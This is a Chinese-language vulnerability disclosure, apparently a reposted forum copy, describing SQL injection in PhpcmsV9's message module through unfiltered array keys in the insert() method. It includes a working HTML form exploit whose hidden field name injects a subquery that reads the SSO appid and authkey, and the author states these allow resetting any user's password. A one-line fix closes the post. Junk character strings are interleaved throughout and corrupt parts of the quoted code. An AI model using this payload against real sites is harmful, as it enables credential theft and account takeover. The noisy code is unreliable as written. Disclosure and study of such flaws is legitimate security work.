PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：
: Y6 K: G# Q( \7 E1 E+ e; g
第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。

0 ^0 J. B8 L) P2 x! t" Q5 c明天再更新下一个漏洞。
3 T% e( J3 _5 h3 J( w  \8 G详细说明：
: ^4 m1 f( {8 ]在/phpcms9/phpcms/modules/message/index.php中有代码如下：
8 X  A- b% c/ `% ]5 L1 Q6 s; O
$messageid = $this->message_db->insert($_POST['info'],true);
/ K$ P& C1 F4 O4 F% t: e
: Z, _1 }6 h. D  H# w$ r
insert方法是key value的，代码如下：
8 W! P. E* G/ [: H1 V2 E
public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
2 |' ^1 m8 c  S) ?& i                        return false;
                }
               
                $fielddata = array_keys($data);
                $valuedata = array_values($data);
$ W/ ]8 f6 i; D% Q/ ?                array_walk($fielddata, array($this, 'add_special_char'));
( w; k% D% O4 N0 w- x) f                array_walk($valuedata, array($this, 'escape_string'));
5 i  h  e: M! d6 o/ R4 y1 x' U               
                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);
1 I. f/ E! B4 I  {
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
) }! ?2 I( J# u! T: _                $return = $this->execute($sql);
. c; E5 p. S+ }& Y: L  y% j                return $return_insert_id ? $this->insert_id() : $return;
9 X. w4 D8 j7 H* N7 o; W6 r        }


/ B7 `: f7 N9 l& S6 {嗯，很遗憾的是

( [& v/ r% w' |3 Y8 R# h$ ?) j$ Parray_walk($fielddata, array($this, 'add_special_char'));

6 Z+ Q4 }; n- g8 {
. L. o3 A8 R% ~- c6 o中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。

' f" g4 t7 @* {+ `+ K# Z$ h到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。
; f1 D# Z& a6 _5 n0 d2 G  o1 `5 G
漏洞证明：
. F6 p6 H- B' k% F, g3 t* m读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。

1 g+ u3 j9 I6 h4 L2 ]9 ^
表单如下：用户名什么的得自己改一改。
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
# a4 N0 E% \2 x; v& K<table width="100%" cellspacing="0" class="table_form">
% f  B3 m1 R0 z9 w  L, k<tr>
+ f4 w* ?' k% O. m- I4 t* O<th>标 题：</th>
: U8 I5 k3 j4 ?* q9 K- G) u<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
</tr>
. g0 }; v; i8 S, }/ C<tr>
# L, C, z  \9 }' `) `- g* X) O<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
& A$ ~' o, y( z</tr>
4 R5 r2 @  t, ^7 X% {, j<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
  l- m  L7 W8 b0 M, t5 P<!-- 漏洞的利用重点在这里开始 -->
- p% C& e  Y. z  d5 r) c<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
5 E8 i% H  J5 m8 C5 a3 w& m5 u<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
<td></td>
<td colspan="2"><label>
5 F5 Q. \% x) y. |) D( Q1 R0 x<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
" x' {- j. @" L: n! U/ ~! R</label></td>
</tr>
9 d* x' w$ e+ r  X  u- [/ P7 b" B</table>
0 Z4 O* D" H( e* `+ [</form>
" e1 @3 J5 j7 r  T  N' K' W在add_special_char函数内对key做过滤就可以了。
) x# m: s! ]8 H; K  h) S
. J4 Q6 H/ @& f$ G

# h2 |9 z: ?& y# m1 J% `